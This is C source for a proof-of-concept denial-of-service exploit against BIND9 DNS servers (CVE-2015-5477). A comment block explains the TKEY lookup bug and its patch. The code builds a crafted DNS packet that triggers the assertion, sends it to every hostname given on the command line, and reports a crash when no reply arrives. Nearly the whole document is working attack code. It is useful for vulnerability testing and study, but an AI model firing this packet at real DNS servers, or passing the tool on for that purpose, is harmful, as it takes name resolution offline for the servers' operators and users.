/*
PoC for BIND9 TKEY assert Dos (CVE-2015-5477)
Usage:
tkill <hostname>
What it does:
- First sends a "version" query to see if the server is up.
- Regardless of the version response, it then sends the DoS packet.
- Then it waits 5 seconds for a response. If the server crashes,
there will be no response.
Notes:
- multiple hostnames can be specified on the command-line
- IP addresses can be specified instead of hostnames
- supports IPv4 and IPv6
- runs on Linux, Mac, and Windows (cygwin or VisualStudio)
- if a hostname resolves to more than one IP, then all IPs
will be probed
About the vuln:
For control information, the "TSIG" feature allows packets to be
signed with a password. This allows slave servers to get updates
from master servers without a MitM attack (like from the NSA)
changing the data on the network.
A password can be distributed out of band, such as SSHing into
a box and editing the configuration file. Anther way is through
public-keys. That's the "TKEY" feature: it distributes new
TSIG passwords using public-keys.
When processing a TKEY packet, the code will call a function to
fetch the proper TKEY record. It looks in two places: the
"answer records" section, and the "additional records" section.
If it can't find it in the "additional", it looks in "answer".
The lookup function takes a parameter that is initially set
to NULL. During the failed lookup in the "additional" section,
it may set that parameter to a non-null value. Since a non-null
value is passed in again during the second lookup in the "answer"
section, the code crashes.
The patch was to set the variable to NULL before the second lookup.
The correct fix would simply not check to see if the parameter
was NULL to be begin with. It's an out-only parameter, so it's value
on input doesn't matter.
This is a just a "brainfart" bug that can only result in a crash
of the server. It cann't result in data-corruption or code
execution.
About this code:
To learn about writing network code, this is probably something useful
to study.
It works on both Windows and Unix (Linux, Mac, etc.). You can see where
the differences are between the two platforms, as well as the simularities.
It works on both IPv4 and IPv6. However, if you search through the code,
you'll find nothing that specifically references either version. It's
magically dual-stack. That's because it uses new functions like
"getaddrinfo()" instead of old functions like "gethostbyname()".
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#ifdef WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define WSA(err) (WSA##err)
#define WSAEAGAIN WSAETIMEDOUT
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#define WSAGetLastError() (errno)
#define WSA(err) (err)
#define closesocket(fd) close(fd)
#endif
/*
* DoS packet that will crash server
*/
static const unsigned char dospacket[] = {
0x01, 0x02, /* xid */
0x01, 0x00, /* query */
0x00, 0x01, /* one question */
0x00, 0x00, /* no answer */
0x00, 0x00, /* no authorities */
0x00, 0x01, /* one additional: must be 'additional' section to work*/
/* Query name */
0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00,
0x00, 249, /* TKEY record type */
0x00, 255,
/* Additional record */
0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00, /* name: must be same as query */
0x00, 16, /* record type: must NOT be 249/TKEY */
0x00, 255,
0, 0, 0, 0,
0, 51,
50,
'h', 't', 't', 'p', 's', ':', '/', '/',
'g', 'i', 't', 'h', 'u', 'b', '.', 'c',
'o', 'm', '/', 'r', 'o', 'b', 'e', 'r',
't', 'd', 'a', 'v', 'i', 'd', 'g', 'r',
'a', 'h', 'a', 'm', '/', 'c', 'v', 'e',
'-', '2', '0', '1', '5', '-', '5', '4',
'7', '7'
};
/*
* Packet for querying the version of the server, to test if it's up
*/
static const unsigned char versionpacket[] = {
0x03, 0x04, /* xid */
0x01, 0x00, /* query */
0x00, 0x01, /* one question */
0x00, 0x00, /* no answer */
0x00, 0x00, /* no authorities */
0x00, 0x00, /* no additional */
/* Query name */
0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00,
0x00, 16, /* TXT */
0x00, 3, /* CHOAS */
};
/*
* YOLO BIND version.bind query
*/
int query_version(int fd, const struct addrinfo *target)
{
int bytes_received;
int i;
struct sockaddr_storage from;
socklen_t sizeof_from = sizeof(from);
char hostname[256];
unsigned char buf[2048];
int result = 0;
/*
* Query version
*/
sendto(fd, (const char*)versionpacket, sizeof(versionpacket), 0,
target->ai_addr, target->ai_addrlen);
/*
* get response
*/
again:
bytes_received = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from);
if (bytes_received <= 0 && WSAGetLastError() == WSA(EAGAIN)) {
fprintf(stderr, "[-] timed out getting version, trying again\n");
return 0;
} else if (bytes_received <= 0) {
fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError());
return 0;
}
getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
/*
* parse response
*/
if (bytes_received < 12)
goto again;
if (buf[0] != versionpacket[0] && buf[1] != versionpacket[1])
goto again;
if ((buf[2]&0x80) != 0x80)
goto again;
/*
* Handle respoonse code
*/
switch (buf[3]&0x0F) {
case 0:
/* parse packet below */
break;
case 1:
fprintf(stderr, "[-] %s: FORMERR\n", hostname);
return 1;
case 2:
fprintf(stderr, "[-] %s: SRVFAIL\n", hostname);
return 1;
case 3:
fprintf(stderr, "[-] %s: NAMERR\n", hostname);
return 1;
case 4:
fprintf(stderr, "[-] %s: NOTIMPL\n", hostname);
return 1;
case 5:
fprintf(stderr, "[-] %s: REFUSED\n", hostname);
return 1;
default:
fprintf(stderr, "[-] %s: unknown error: %u\n", hostname, buf[3]);
return 1;
}
i = 12; /* skip header */
/*
* skip query name
*/
while (i < bytes_received) {
if (buf[i] == 0) {
i++;
break;
} else if ((buf[i] & 0xC0) == 0xC0) {
i += 2;
break;
} else {
i += buf[i] + 1;
}
}
i += 4;
/*
* process all answers
*/
while (i + 12 <= bytes_received) {
int t, c, len;
/* skip answer name */
while (i < bytes_received) {
if (buf[i] == 0) {
i++;
break;
} else if ((buf[i] & 0xC0) == 0xC0) {
i += 2;
break;
} else {
i += buf[i] + 1;
}
}
/* extract resource-recorder header */
if (i + 10 > bytes_received)
break;
t = buf[i+0]<<8 | buf[i+1];
c = buf[i+2]<<8 | buf[i+3];
len = buf[i+8]<<8 | buf[i+9];
i += 10;
/* verify TXT CHAOS */
if (t != 16 || c != 3) {
i += len;
continue;
}
/* fix len */
if (len > bytes_received - i)
len = bytes_received - i;
/* print the hostname */
fprintf(stderr, "[+] %s: ", hostname);
/* print the strings */
{
int j = i;
i += len;
while (j < i) {
int len2 = buf[j];
int k;
j++;
if (len2 > bytes_received - len2)
len2 = bytes_received - len2;
fprintf(stderr, "\"");
for (k=j; k<j+len2; k++) {
if (buf[k] == '\\')
fprintf(stderr, "\\");
else if (!isprint(buf[k]))
fprintf(stderr, "\\x%02x", buf[k]);
else
fprintf(stderr, "%c", buf[k]);
}
j = k;
fprintf(stderr, "\" ");
}
fprintf(stderr, "\n");
}
result = 1;
}
return result;
}
/*
* Send the DoS packet
*/
void probe(const struct addrinfo *target)
{
int fd;
int x;
int i;
char hostname[256];
char buf[2048];
struct sockaddr_storage from;
socklen_t sizeof_from = sizeof(from);
/*
* Print status
*/
getnameinfo(target->ai_addr, target->ai_addrlen, hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
fprintf(stderr, "[+] %s: Probing...\n", hostname);
/*
* Create a socket
*/
fd = socket(target->ai_family, SOCK_DGRAM, 0);
if (fd <= 0) {
fprintf(stderr, "[-] failed: socket(): %u\n", WSAGetLastError());
return;
}
/*
* Set the timeout to 5-seconds
*/
{
#ifdef WIN32
int milliseconds = 5000;
x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&milliseconds, sizeof(milliseconds));
#else
struct timeval t;
t.tv_sec = 5;
t.tv_usec = 0;
x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&t, sizeof(t));
#endif
if (x != 0) {
fprintf(stderr, "[-] err setting recv timeout: %u\n", WSAGetLastError());
}
}
/*
* First, query the server to grab its version, but also to see it's up
*/
fprintf(stderr, "[+] Querying version...\n");
for (i=0; i<3; i++) {
if (query_version(fd, target))
break;
if (i == 2) {
fprintf(stderr, "[-] Can't query server, is it crashed already?\n");
fprintf(stderr, "[-] Sending exploit anyway.\n");
}
}
/*****************
* SEND DoS PACKET
*****************/
fprintf(stderr, "[+] Sending DoS packet...\n");
sendto(fd, (const char*)dospacket, sizeof(dospacket), 0, target->ai_addr, target->ai_addrlen);
/* Grab response */
fprintf(stderr, "[+] Waiting 5-sec for response...\n");
for (;;) {
x = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from);
if (x <= 0 && WSAGetLastError() == WSA(EAGAIN)) {
fprintf(stderr, "[+] timed out, probably crashed\n");
break;
} else if (x <= 0) {
fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError());
break;;
}
if (x > 2 && (buf[0] != dospacket[0] || buf[1] != dospacket[1]))
continue;
getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
fprintf(stderr, "[-] %s: got response, so probably not vulnerable\n", hostname);
break;
}
closesocket(fd);
}
/*
* The main function just parses the arguments and looks up IP addrsses
* before calling the "probe" function to actually exploit the targets
*/
int main(int argc, char *argv[])
{
int i;
#ifdef WIN32
{WSADATA x; WSAStartup(0x101, &x);}
#endif
fprintf(stderr, "--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---\n");
if (argc <= 1) {
fprintf(stderr, "[-] no host specified\n");
fprintf(stderr, "usage:\n tkill <hostname>\n");
return -1;
}
/*
* Query all targets specified on the command line
*/
for (i=1; i<argc; i++) {
const char *hostname = argv[i];
struct addrinfo *info;
struct addrinfo *target;
char oldtarget[256] = "";
int x;
/*
* Lookup the name of the target
*/
fprintf(stderr, "[+] %s: Resolving to IP address\n", hostname);
x = getaddrinfo(hostname, "53", 0, &info);
if (x != 0) {
fprintf(stderr, "[-] %s: failed: %s\n", hostname, gai_strerror(x));
continue;
}
if (info->ai_next) {
fprintf(stderr, "[+] %s: Resolved to multiple IPs (NOTE)\n", hostname);
}
/*
* Since a name can return multiple IP addresses,
* send a probe to all the results
*/
for (target=info; target; target = target->ai_next) {
char newtarget[256];
/* bah, stupid bug in Linux gets the same target multiple
* times */
getnameinfo(target->ai_addr, target->ai_addrlen, newtarget, sizeof(newtarget), NULL, 0, NI_NUMERICHOST);
if (strcmp(newtarget, oldtarget) == 0)
continue;
memcpy(oldtarget, newtarget, sizeof(oldtarget));
probe(target);
printf("\n");
}
/*
* Cleanup
*/
freeaddrinfo(info);
}
return 0;
}
